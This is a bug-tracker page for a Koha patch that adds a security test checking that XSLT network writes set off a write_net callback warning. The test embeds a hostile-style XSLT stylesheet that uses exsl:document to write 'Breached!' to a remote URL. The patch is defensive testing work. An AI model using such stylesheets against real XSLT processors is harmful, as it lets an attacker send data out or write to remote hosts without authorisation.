Attachment 96304 Details for Bug 23290 – Bug 23290: Add test for write_net

[patch] Bug 23290: Add test for write_net

Bug-23290-Add-test-for-writenet.patch (text/plain), 1.88 KB, created by David Cook on 2019-12-16 02:31:26 UTC

(hide)

Description:

Filename:

MIME Type:

Creator: David Cook

Created: 2019-12-16 02:31:26 UTC

Size: 1.88 KB

patch

obsolete

>From edc6e22d5105d70c7536c7931861d427293350db Mon Sep 17 00:00:00 2001
>From: David Cook <dcook@prosentient.com.au>
>Date: Tue, 19 Nov 2019 13:56:30 +0000
>Subject: [PATCH] Bug 23290: Add test for write_net
>
>Test plan:
>Run t/db_dependent/Koha/XSLT/Security.t
>
>Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
>
>Signed-off-by: David Cook <dcook@prosentient.com.au>
>---
> t/db_dependent/Koha/XSLT/Security.t | 18 +++++++++++++++++-
> 1 file changed, 17 insertions(+), 1 deletion(-)
>
>diff --git a/t/db_dependent/Koha/XSLT/Security.t b/t/db_dependent/Koha/XSLT/Security.t
>index a934481feb..9c82b85896 100644
>--- a/t/db_dependent/Koha/XSLT/Security.t
>+++ b/t/db_dependent/Koha/XSLT/Security.t
>@@ -19,7 +19,7 @@
> 
> use Modern::Perl;
> use File::Temp qw/tempfile/;
>-use Test::More tests => 6;
>+use Test::More tests => 7;
> use Test::Warn;
> 
> use Koha::XSLT::Base;
>@@ -92,6 +92,22 @@ warning_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
>     qr/read_net called in XML::LibXSLT/,
>     'Triggered security callback for read_net';
> 
>+# Trigger write_net
>+$xslt=<<"EOT";
>+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
>+  <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
>+  <xsl:template match="/">
>+      <exsl:document href="http://hacking.koha-community.org/breached.txt" omit-xml-declaration="yes" method="html">
>+    <xsl:text>Breached!</xsl:text>
>+</exsl:document>
>+  </xsl:template>
>+</xsl:stylesheet>
>+EOT
>+$xslt_file = mytempfile($xslt);
>+warning_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
>+    qr/write_net called in XML::LibXSLT/,
>+    'Triggered security callback for write_net';
>+
> # Check remote import (include should be similar)
> # Trusting koha-community.org DNS here ;)
> # This should not trigger read_net but fail on the missing import.
>-- 
>2.11.0

Actions: View | Diff | Splinter Review

Attachments on bug 23290: 91435 | 91437 | 95450 | 95451 | 95452 | 95453 | 95454 | 95475 | 95478 | 95480 | 95481 | 95482 | 95483 | 95484 | 95485 | 95551 | 96299 | 96300 | 96301 | 96302 | 96303 | 96304 | 97606 | 97607 | 97608 | 97609 | 97610 | 97611 | 97612 | 97613 | 97614 | 97615 | 97616 | 97617 | 97618 | 97619 | 97620 | 97871 | 97978 | 97980 | 98397 | 98398 | 98399 | 98400 | 98401 | 98402 | 98403 | 98404 | 98405 | 98406 | 99587